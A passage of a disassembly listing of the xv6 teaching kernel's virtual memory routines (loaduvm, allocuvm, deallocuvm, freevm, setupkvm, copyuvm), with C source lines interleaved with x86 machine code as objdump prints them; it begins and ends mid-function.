inituvm(pde_t *pgdir, char *init, uint sz)
{
char *mem;
if(sz >= PGSIZE)
panic("inituvm: more than a page");
8010679c: c7 04 24 2d 76 10 80 movl $0x8010762d,(%esp)
801067a3: e8 c8 9b ff ff call 80100370 <panic>
801067a8: 90 nop
801067a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801067b0 <loaduvm>:
// Load a program segment into pgdir. addr must be page-aligned
// and the pages from addr to addr+sz must already be mapped.
int
loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz)
{
801067b0: 55 push %ebp
801067b1: 89 e5 mov %esp,%ebp
801067b3: 57 push %edi
801067b4: 56 push %esi
801067b5: 53 push %ebx
801067b6: 83 ec 2c sub $0x2c,%esp
801067b9: 8b 7d 0c mov 0xc(%ebp),%edi
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
801067bc: f7 c7 ff 0f 00 00 test $0xfff,%edi
801067c2: 0f 85 96 00 00 00 jne 8010685e <loaduvm+0xae>
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
801067c8: 8b 75 18 mov 0x18(%ebp),%esi
801067cb: 31 db xor %ebx,%ebx
801067cd: 85 f6 test %esi,%esi
801067cf: 75 18 jne 801067e9 <loaduvm+0x39>
801067d1: eb 75 jmp 80106848 <loaduvm+0x98>
801067d3: 90 nop
801067d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801067d8: 81 c3 00 10 00 00 add $0x1000,%ebx
801067de: 81 ee 00 10 00 00 sub $0x1000,%esi
801067e4: 39 5d 18 cmp %ebx,0x18(%ebp)
801067e7: 76 5f jbe 80106848 <loaduvm+0x98>
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
801067e9: 8b 45 08 mov 0x8(%ebp),%eax
801067ec: 31 c9 xor %ecx,%ecx
}
// Load a program segment into pgdir. addr must be page-aligned
// and the pages from addr to addr+sz must already be mapped.
int
loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz)
801067ee: 8d 14 1f lea (%edi,%ebx,1),%edx
pte_t *pte;
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
801067f1: e8 1a fc ff ff call 80106410 <walkpgdir>
801067f6: 85 c0 test %eax,%eax
801067f8: 74 58 je 80106852 <loaduvm+0xa2>
panic("loaduvm: address should exist");
pa = PTE_ADDR(*pte);
801067fa: 8b 00 mov (%eax),%eax
if(sz - i < PGSIZE)
801067fc: ba 00 10 00 00 mov $0x1000,%edx
n = sz - i;
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
80106801: 8b 4d 14 mov 0x14(%ebp),%ecx
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
panic("loaduvm: address should exist");
pa = PTE_ADDR(*pte);
80106804: 25 00 f0 ff ff and $0xfffff000,%eax
if(sz - i < PGSIZE)
80106809: 81 fe ff 0f 00 00 cmp $0xfff,%esi
8010680f: 0f 46 d6 cmovbe %esi,%edx
n = sz - i;
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
80106812: 05 00 00 00 80 add $0x80000000,%eax
80106817: 89 44 24 04 mov %eax,0x4(%esp)
8010681b: 8b 45 10 mov 0x10(%ebp),%eax
8010681e: 01 d9 add %ebx,%ecx
80106820: 89 54 24 0c mov %edx,0xc(%esp)
80106824: 89 55 e4 mov %edx,-0x1c(%ebp)
80106827: 89 4c 24 08 mov %ecx,0x8(%esp)
8010682b: 89 04 24 mov %eax,(%esp)
8010682e: e8 4d b1 ff ff call 80101980 <readi>
80106833: 8b 55 e4 mov -0x1c(%ebp),%edx
80106836: 39 d0 cmp %edx,%eax
80106838: 74 9e je 801067d8 <loaduvm+0x28>
return -1;
}
return 0;
}
8010683a: 83 c4 2c add $0x2c,%esp
if(sz - i < PGSIZE)
n = sz - i;
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
return -1;
8010683d: b8 ff ff ff ff mov $0xffffffff,%eax
}
return 0;
}
80106842: 5b pop %ebx
80106843: 5e pop %esi
80106844: 5f pop %edi
80106845: 5d pop %ebp
80106846: c3 ret
80106847: 90 nop
80106848: 83 c4 2c add $0x2c,%esp
else
n = PGSIZE;
if(readi(ip, P2V(pa), offset+i, n) != n)
return -1;
}
return 0;
8010684b: 31 c0 xor %eax,%eax
}
8010684d: 5b pop %ebx
8010684e: 5e pop %esi
8010684f: 5f pop %edi
80106850: 5d pop %ebp
80106851: c3 ret
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
panic("loaduvm: address should exist");
80106852: c7 04 24 47 76 10 80 movl $0x80107647,(%esp)
80106859: e8 12 9b ff ff call 80100370 <panic>
{
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
8010685e: c7 04 24 e8 76 10 80 movl $0x801076e8,(%esp)
80106865: e8 06 9b ff ff call 80100370 <panic>
8010686a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106870 <deallocuvm>:
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
80106870: 55 push %ebp
80106871: 89 e5 mov %esp,%ebp
80106873: 57 push %edi
80106874: 56 push %esi
80106875: 53 push %ebx
80106876: 83 ec 2c sub $0x2c,%esp
80106879: 8b 75 0c mov 0xc(%ebp),%esi
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
8010687c: 39 75 10 cmp %esi,0x10(%ebp)
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
8010687f: 8b 7d 08 mov 0x8(%ebp),%edi
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
return oldsz;
80106882: 89 f0 mov %esi,%eax
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
80106884: 73 75 jae 801068fb <deallocuvm+0x8b>
return oldsz;
a = PGROUNDUP(newsz);
80106886: 8b 5d 10 mov 0x10(%ebp),%ebx
80106889: 81 c3 ff 0f 00 00 add $0xfff,%ebx
8010688f: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
for(; a < oldsz; a += PGSIZE){
80106895: 39 de cmp %ebx,%esi
80106897: 77 3a ja 801068d3 <deallocuvm+0x63>
80106899: eb 5d jmp 801068f8 <deallocuvm+0x88>
8010689b: 90 nop
8010689c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
pte = walkpgdir(pgdir, (char*)a, 0);
if(!pte)
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
else if((*pte & PTE_P) != 0){
801068a0: 8b 10 mov (%eax),%edx
801068a2: f6 c2 01 test $0x1,%dl
801068a5: 74 22 je 801068c9 <deallocuvm+0x59>
pa = PTE_ADDR(*pte);
if(pa == 0)
801068a7: 81 e2 00 f0 ff ff and $0xfffff000,%edx
801068ad: 74 54 je 80106903 <deallocuvm+0x93>
panic("kfree");
char *v = P2V(pa);
801068af: 81 c2 00 00 00 80 add $0x80000000,%edx
kfree(v);
801068b5: 89 45 e4 mov %eax,-0x1c(%ebp)
801068b8: 89 14 24 mov %edx,(%esp)
801068bb: e8 80 ba ff ff call 80102340 <kfree>
*pte = 0;
801068c0: 8b 45 e4 mov -0x1c(%ebp),%eax
801068c3: c7 00 00 00 00 00 movl $0x0,(%eax)
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
for(; a < oldsz; a += PGSIZE){
801068c9: 81 c3 00 10 00 00 add $0x1000,%ebx
801068cf: 39 de cmp %ebx,%esi
801068d1: 76 25 jbe 801068f8 <deallocuvm+0x88>
pte = walkpgdir(pgdir, (char*)a, 0);
801068d3: 31 c9 xor %ecx,%ecx
801068d5: 89 da mov %ebx,%edx
801068d7: 89 f8 mov %edi,%eax
801068d9: e8 32 fb ff ff call 80106410 <walkpgdir>
if(!pte)
801068de: 85 c0 test %eax,%eax
801068e0: 75 be jne 801068a0 <deallocuvm+0x30>
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
801068e2: 81 e3 00 00 c0 ff and $0xffc00000,%ebx
801068e8: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
for(; a < oldsz; a += PGSIZE){
801068ee: 81 c3 00 10 00 00 add $0x1000,%ebx
801068f4: 39 de cmp %ebx,%esi
801068f6: 77 db ja 801068d3 <deallocuvm+0x63>
char *v = P2V(pa);
kfree(v);
*pte = 0;
}
}
return newsz;
801068f8: 8b 45 10 mov 0x10(%ebp),%eax
}
801068fb: 83 c4 2c add $0x2c,%esp
801068fe: 5b pop %ebx
801068ff: 5e pop %esi
80106900: 5f pop %edi
80106901: 5d pop %ebp
80106902: c3 ret
if(!pte)
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
else if((*pte & PTE_P) != 0){
pa = PTE_ADDR(*pte);
if(pa == 0)
panic("kfree");
80106903: c7 04 24 a6 6f 10 80 movl $0x80106fa6,(%esp)
8010690a: e8 61 9a ff ff call 80100370 <panic>
8010690f: 90 nop
80106910 <allocuvm>:
// Allocate page tables and physical memory to grow process from oldsz to
// newsz, which need not be page aligned. Returns new size or 0 on error.
int
allocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
80106910: 55 push %ebp
80106911: 89 e5 mov %esp,%ebp
80106913: 57 push %edi
80106914: 56 push %esi
80106915: 53 push %ebx
80106916: 83 ec 2c sub $0x2c,%esp
80106919: 8b 7d 10 mov 0x10(%ebp),%edi
char *mem;
uint a;
if(newsz >= KERNBASE)
8010691c: 85 ff test %edi,%edi
8010691e: 89 7d e4 mov %edi,-0x1c(%ebp)
80106921: 0f 88 c1 00 00 00 js 801069e8 <allocuvm+0xd8>
return 0;
if(newsz < oldsz)
80106927: 8b 45 0c mov 0xc(%ebp),%eax
8010692a: 39 c7 cmp %eax,%edi
8010692c: 0f 82 a6 00 00 00 jb 801069d8 <allocuvm+0xc8>
return oldsz;
a = PGROUNDUP(oldsz);
80106932: 8b 75 0c mov 0xc(%ebp),%esi
80106935: 81 c6 ff 0f 00 00 add $0xfff,%esi
8010693b: 81 e6 00 f0 ff ff and $0xfffff000,%esi
for(; a < newsz; a += PGSIZE){
80106941: 39 f7 cmp %esi,%edi
80106943: 77 51 ja 80106996 <allocuvm+0x86>
80106945: e9 91 00 00 00 jmp 801069db <allocuvm+0xcb>
8010694a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(mem == 0){
cprintf("allocuvm out of memory\n");
deallocuvm(pgdir, newsz, oldsz);
return 0;
}
memset(mem, 0, PGSIZE);
80106950: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106957: 00
80106958: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010695f: 00
80106960: 89 04 24 mov %eax,(%esp)
80106963: e8 d8 d9 ff ff call 80104340 <memset>
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
80106968: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
8010696e: b9 00 10 00 00 mov $0x1000,%ecx
80106973: 89 04 24 mov %eax,(%esp)
80106976: 8b 45 08 mov 0x8(%ebp),%eax
80106979: 89 f2 mov %esi,%edx
8010697b: c7 44 24 04 06 00 00 movl $0x6,0x4(%esp)
80106982: 00
80106983: e8 18 fb ff ff call 801064a0 <mappages>
80106988: 85 c0 test %eax,%eax
8010698a: 78 74 js 80106a00 <allocuvm+0xf0>
return 0;
if(newsz < oldsz)
return oldsz;
a = PGROUNDUP(oldsz);
for(; a < newsz; a += PGSIZE){
8010698c: 81 c6 00 10 00 00 add $0x1000,%esi
80106992: 39 f7 cmp %esi,%edi
80106994: 76 45 jbe 801069db <allocuvm+0xcb>
mem = kalloc();
80106996: e8 15 bb ff ff call 801024b0 <kalloc>
if(mem == 0){
8010699b: 85 c0 test %eax,%eax
if(newsz < oldsz)
return oldsz;
a = PGROUNDUP(oldsz);
for(; a < newsz; a += PGSIZE){
mem = kalloc();
8010699d: 89 c3 mov %eax,%ebx
if(mem == 0){
8010699f: 75 af jne 80106950 <allocuvm+0x40>
cprintf("allocuvm out of memory\n");
801069a1: c7 04 24 65 76 10 80 movl $0x80107665,(%esp)
801069a8: e8 a3 9c ff ff call 80100650 <cprintf>
deallocuvm(pgdir, newsz, oldsz);
801069ad: 8b 45 0c mov 0xc(%ebp),%eax
801069b0: 89 7c 24 04 mov %edi,0x4(%esp)
801069b4: 89 44 24 08 mov %eax,0x8(%esp)
801069b8: 8b 45 08 mov 0x8(%ebp),%eax
801069bb: 89 04 24 mov %eax,(%esp)
801069be: e8 ad fe ff ff call 80106870 <deallocuvm>
return 0;
801069c3: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
kfree(mem);
return 0;
}
}
return newsz;
}
801069ca: 8b 45 e4 mov -0x1c(%ebp),%eax
801069cd: 83 c4 2c add $0x2c,%esp
801069d0: 5b pop %ebx
801069d1: 5e pop %esi
801069d2: 5f pop %edi
801069d3: 5d pop %ebp
801069d4: c3 ret
801069d5: 8d 76 00 lea 0x0(%esi),%esi
uint a;
if(newsz >= KERNBASE)
return 0;
if(newsz < oldsz)
return oldsz;
801069d8: 89 45 e4 mov %eax,-0x1c(%ebp)
kfree(mem);
return 0;
}
}
return newsz;
}
801069db: 8b 45 e4 mov -0x1c(%ebp),%eax
801069de: 83 c4 2c add $0x2c,%esp
801069e1: 5b pop %ebx
801069e2: 5e pop %esi
801069e3: 5f pop %edi
801069e4: 5d pop %ebp
801069e5: c3 ret
801069e6: 66 90 xchg %ax,%ax
{
char *mem;
uint a;
if(newsz >= KERNBASE)
return 0;
801069e8: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
kfree(mem);
return 0;
}
}
return newsz;
}
801069ef: 8b 45 e4 mov -0x1c(%ebp),%eax
801069f2: 83 c4 2c add $0x2c,%esp
801069f5: 5b pop %ebx
801069f6: 5e pop %esi
801069f7: 5f pop %edi
801069f8: 5d pop %ebp
801069f9: c3 ret
801069fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
deallocuvm(pgdir, newsz, oldsz);
return 0;
}
memset(mem, 0, PGSIZE);
if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){
cprintf("allocuvm out of memory (2)\n");
80106a00: c7 04 24 7d 76 10 80 movl $0x8010767d,(%esp)
80106a07: e8 44 9c ff ff call 80100650 <cprintf>
deallocuvm(pgdir, newsz, oldsz);
80106a0c: 8b 45 0c mov 0xc(%ebp),%eax
80106a0f: 89 7c 24 04 mov %edi,0x4(%esp)
80106a13: 89 44 24 08 mov %eax,0x8(%esp)
80106a17: 8b 45 08 mov 0x8(%ebp),%eax
80106a1a: 89 04 24 mov %eax,(%esp)
80106a1d: e8 4e fe ff ff call 80106870 <deallocuvm>
kfree(mem);
80106a22: 89 1c 24 mov %ebx,(%esp)
80106a25: e8 16 b9 ff ff call 80102340 <kfree>
return 0;
80106a2a: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
}
}
return newsz;
}
80106a31: 8b 45 e4 mov -0x1c(%ebp),%eax
80106a34: 83 c4 2c add $0x2c,%esp
80106a37: 5b pop %ebx
80106a38: 5e pop %esi
80106a39: 5f pop %edi
80106a3a: 5d pop %ebp
80106a3b: c3 ret
80106a3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106a40 <freevm>:
// Free a page table and all the physical memory pages
// in the user part.
void
freevm(pde_t *pgdir)
{
80106a40: 55 push %ebp
80106a41: 89 e5 mov %esp,%ebp
80106a43: 56 push %esi
80106a44: 53 push %ebx
80106a45: 83 ec 10 sub $0x10,%esp
80106a48: 8b 5d 08 mov 0x8(%ebp),%ebx
uint i;
if(pgdir == 0)
80106a4b: 85 db test %ebx,%ebx
80106a4d: 74 5e je 80106aad <freevm+0x6d>
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
80106a4f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80106a56: 00
for(i = 0; i < NPDENTRIES; i++){
80106a57: 31 f6 xor %esi,%esi
{
uint i;
if(pgdir == 0)
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
80106a59: c7 44 24 04 00 00 00 movl $0x80000000,0x4(%esp)
80106a60: 80
80106a61: 89 1c 24 mov %ebx,(%esp)
80106a64: e8 07 fe ff ff call 80106870 <deallocuvm>
80106a69: eb 10 jmp 80106a7b <freevm+0x3b>
80106a6b: 90 nop
80106a6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(i = 0; i < NPDENTRIES; i++){
80106a70: 83 c6 01 add $0x1,%esi
80106a73: 81 fe 00 04 00 00 cmp $0x400,%esi
80106a79: 74 24 je 80106a9f <freevm+0x5f>
if(pgdir[i] & PTE_P){
80106a7b: 8b 04 b3 mov (%ebx,%esi,4),%eax
80106a7e: a8 01 test $0x1,%al
80106a80: 74 ee je 80106a70 <freevm+0x30>
char * v = P2V(PTE_ADDR(pgdir[i]));
80106a82: 25 00 f0 ff ff and $0xfffff000,%eax
uint i;
if(pgdir == 0)
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
80106a87: 83 c6 01 add $0x1,%esi
if(pgdir[i] & PTE_P){
char * v = P2V(PTE_ADDR(pgdir[i]));
80106a8a: 05 00 00 00 80 add $0x80000000,%eax
kfree(v);
80106a8f: 89 04 24 mov %eax,(%esp)
80106a92: e8 a9 b8 ff ff call 80102340 <kfree>
uint i;
if(pgdir == 0)
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
80106a97: 81 fe 00 04 00 00 cmp $0x400,%esi
80106a9d: 75 dc jne 80106a7b <freevm+0x3b>
if(pgdir[i] & PTE_P){
char * v = P2V(PTE_ADDR(pgdir[i]));
kfree(v);
}
}
kfree((char*)pgdir);
80106a9f: 89 5d 08 mov %ebx,0x8(%ebp)
}
80106aa2: 83 c4 10 add $0x10,%esp
80106aa5: 5b pop %ebx
80106aa6: 5e pop %esi
80106aa7: 5d pop %ebp
if(pgdir[i] & PTE_P){
char * v = P2V(PTE_ADDR(pgdir[i]));
kfree(v);
}
}
kfree((char*)pgdir);
80106aa8: e9 93 b8 ff ff jmp 80102340 <kfree>
freevm(pde_t *pgdir)
{
uint i;
if(pgdir == 0)
panic("freevm: no pgdir");
80106aad: c7 04 24 99 76 10 80 movl $0x80107699,(%esp)
80106ab4: e8 b7 98 ff ff call 80100370 <panic>
80106ab9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106ac0 <setupkvm>:
};
// Set up kernel part of a page table.
pde_t*
setupkvm(void)
{
80106ac0: 55 push %ebp
80106ac1: 89 e5 mov %esp,%ebp
80106ac3: 56 push %esi
80106ac4: 53 push %ebx
80106ac5: 83 ec 10 sub $0x10,%esp
pde_t *pgdir;
struct kmap *k;
if((pgdir = (pde_t*)kalloc()) == 0)
80106ac8: e8 e3 b9 ff ff call 801024b0 <kalloc>
80106acd: 85 c0 test %eax,%eax
80106acf: 89 c6 mov %eax,%esi
80106ad1: 74 47 je 80106b1a <setupkvm+0x5a>
return 0;
memset(pgdir, 0, PGSIZE);
80106ad3: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106ada: 00
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80106adb: bb 20 a4 10 80 mov $0x8010a420,%ebx
pde_t *pgdir;
struct kmap *k;
if((pgdir = (pde_t*)kalloc()) == 0)
return 0;
memset(pgdir, 0, PGSIZE);
80106ae0: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106ae7: 00
80106ae8: 89 04 24 mov %eax,(%esp)
80106aeb: e8 50 d8 ff ff call 80104340 <memset>
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
80106af0: 8b 53 0c mov 0xc(%ebx),%edx
80106af3: 8b 43 04 mov 0x4(%ebx),%eax
80106af6: 8b 4b 08 mov 0x8(%ebx),%ecx
80106af9: 89 54 24 04 mov %edx,0x4(%esp)
80106afd: 8b 13 mov (%ebx),%edx
80106aff: 89 04 24 mov %eax,(%esp)
80106b02: 29 c1 sub %eax,%ecx
80106b04: 89 f0 mov %esi,%eax
80106b06: e8 95 f9 ff ff call 801064a0 <mappages>
80106b0b: 85 c0 test %eax,%eax
80106b0d: 78 19 js 80106b28 <setupkvm+0x68>
if((pgdir = (pde_t*)kalloc()) == 0)
return 0;
memset(pgdir, 0, PGSIZE);
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80106b0f: 83 c3 10 add $0x10,%ebx
80106b12: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx
80106b18: 72 d6 jb 80106af0 <setupkvm+0x30>
(uint)k->phys_start, k->perm) < 0) {
freevm(pgdir);
return 0;
}
return pgdir;
}
80106b1a: 83 c4 10 add $0x10,%esp
80106b1d: 89 f0 mov %esi,%eax
80106b1f: 5b pop %ebx
80106b20: 5e pop %esi
80106b21: 5d pop %ebp
80106b22: c3 ret
80106b23: 90 nop
80106b24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
(uint)k->phys_start, k->perm) < 0) {
freevm(pgdir);
80106b28: 89 34 24 mov %esi,(%esp)
return 0;
80106b2b: 31 f6 xor %esi,%esi
if (P2V(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
(uint)k->phys_start, k->perm) < 0) {
freevm(pgdir);
80106b2d: e8 0e ff ff ff call 80106a40 <freevm>
return 0;
}
return pgdir;
}
80106b32: 83 c4 10 add $0x10,%esp
80106b35: 89 f0 mov %esi,%eax
80106b37: 5b pop %ebx
80106b38: 5e pop %esi
80106b39: 5d pop %ebp
80106b3a: c3 ret
80106b3b: 90 nop
80106b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106b40 <kvmalloc>:
// Allocate one page table for the machine for the kernel address
// space for scheduler processes.
void
kvmalloc(void)
{
80106b40: 55 push %ebp
80106b41: 89 e5 mov %esp,%ebp
80106b43: 83 ec 08 sub $0x8,%esp
kpgdir = setupkvm();
80106b46: e8 75 ff ff ff call 80106ac0 <setupkvm>
80106b4b: a3 a4 54 11 80 mov %eax,0x801154a4
// Switch h/w page table register to the kernel-only page table,
// for when no process is running.
void
switchkvm(void)
{
lcr3(V2P(kpgdir)); // switch to the kernel page table
80106b50: 05 00 00 00 80 add $0x80000000,%eax
80106b55: 0f 22 d8 mov %eax,%cr3
void
kvmalloc(void)
{
kpgdir = setupkvm();
switchkvm();
}
80106b58: c9 leave
80106b59: c3 ret
80106b5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106b60 <clearpteu>:
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
80106b60: 55 push %ebp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106b61: 31 c9 xor %ecx,%ecx
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
80106b63: 89 e5 mov %esp,%ebp
80106b65: 83 ec 18 sub $0x18,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106b68: 8b 55 0c mov 0xc(%ebp),%edx
80106b6b: 8b 45 08 mov 0x8(%ebp),%eax
80106b6e: e8 9d f8 ff ff call 80106410 <walkpgdir>
if(pte == 0)
80106b73: 85 c0 test %eax,%eax
80106b75: 74 05 je 80106b7c <clearpteu+0x1c>
panic("clearpteu");
*pte &= ~PTE_U;
80106b77: 83 20 fb andl $0xfffffffb,(%eax)
}
80106b7a: c9 leave
80106b7b: c3 ret
{
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
if(pte == 0)
panic("clearpteu");
80106b7c: c7 04 24 aa 76 10 80 movl $0x801076aa,(%esp)
80106b83: e8 e8 97 ff ff call 80100370 <panic>
80106b88: 90 nop
80106b89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106b90 <copyuvm>:
// Given a parent process's page table, create a copy
// of it for a child.
pde_t*
copyuvm(pde_t *pgdir, uint sz)
{
80106b90: 55 push %ebp
80106b91: 89 e5 mov %esp,%ebp
80106b93: 57 push %edi
80106b94: 56 push %esi
80106b95: 53 push %ebx
80106b96: 83 ec 2c sub $0x2c,%esp
pde_t *d;
pte_t *pte;
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
80106b99: e8 22 ff ff ff call 80106ac0 <setupkvm>
80106b9e: 85 c0 test %eax,%eax
80106ba0: 89 c7 mov %eax,%edi
80106ba2: 0f 84 91 00 00 00 je 80106c39 <copyuvm+0xa9>
return 0;
for(i = 0; i < sz; i += PGSIZE){
80106ba8: 8b 4d 0c mov 0xc(%ebp),%ecx
80106bab: 85 c9 test %ecx,%ecx
80106bad: 0f 84 86 00 00 00 je 80106c39 <copyuvm+0xa9>
80106bb3: 31 f6 xor %esi,%esi
80106bb5: eb 54 jmp 80106c0b <copyuvm+0x7b>
80106bb7: 90 nop
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
80106bb8: 8b 45 e4 mov -0x1c(%ebp),%eax
flags = PTE_FLAGS(*pte);
if((mem = kalloc()) == 0)
goto bad;
memmove(mem, (char*)P2V(pa), PGSIZE);
80106bbb: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106bc2: 00
80106bc3: 89 1c 24 mov %ebx,(%esp)
for(i = 0; i < sz; i += PGSIZE){
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
80106bc6: 25 00 f0 ff ff and $0xfffff000,%eax
flags = PTE_FLAGS(*pte);
if((mem = kalloc()) == 0)
goto bad;
memmove(mem, (char*)P2V(pa), PGSIZE);
80106bcb: 05 00 00 00 80 add $0x80000000,%eax
80106bd0: 89 44 24 04 mov %eax,0x4(%esp)
80106bd4: e8 27 d8 ff ff call 80104400 <memmove>
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
flags = PTE_FLAGS(*pte);
80106bd9: 8b 45 e4 mov -0x1c(%ebp),%eax
if((mem = kalloc()) == 0)
goto bad;
memmove(mem, (char*)P2V(pa), PGSIZE);
if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) {
80106bdc: b9 00 10 00 00 mov $0x1000,%ecx
80106be1: 89 f2 mov %esi,%edx
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
flags = PTE_FLAGS(*pte);
80106be3: 25 ff 0f 00 00 and $0xfff,%eax
if((mem = kalloc()) == 0)
goto bad;
memmove(mem, (char*)P2V(pa), PGSIZE);
if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) {
80106be8: 89 44 24 04 mov %eax,0x4(%esp)
80106bec: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80106bf2: 89 04 24 mov %eax,(%esp)
80106bf5: 89 f8 mov %edi,%eax
80106bf7: e8 a4 f8 ff ff call 801064a0 <mappages>
80106bfc: 85 c0 test %eax,%eax
80106bfe: 78 48 js 80106c48 <copyuvm+0xb8>
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
return 0;
for(i = 0; i < sz; i += PGSIZE){
80106c00: 81 c6 00 10 00 00 add $0x1000,%esi
80106c06: 39 75 0c cmp %esi,0xc(%ebp)
80106c09: 76 2e jbe 80106c39 <copyuvm+0xa9>
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
80106c0b: 8b 45 08 mov 0x8(%ebp),%eax
80106c0e: 31 c9 xor %ecx,%ecx
80106c10: 89 f2 mov %esi,%edx
80106c12: e8 f9 f7 ff ff call 80106410 <walkpgdir>
80106c17: 85 c0 test %eax,%eax
80106c19: 74 43 je 80106c5e <copyuvm+0xce>
panic("copyuvm: pte should exist");
if(!(*pte & PTE_P))
80106c1b: 8b 00 mov (%eax),%eax
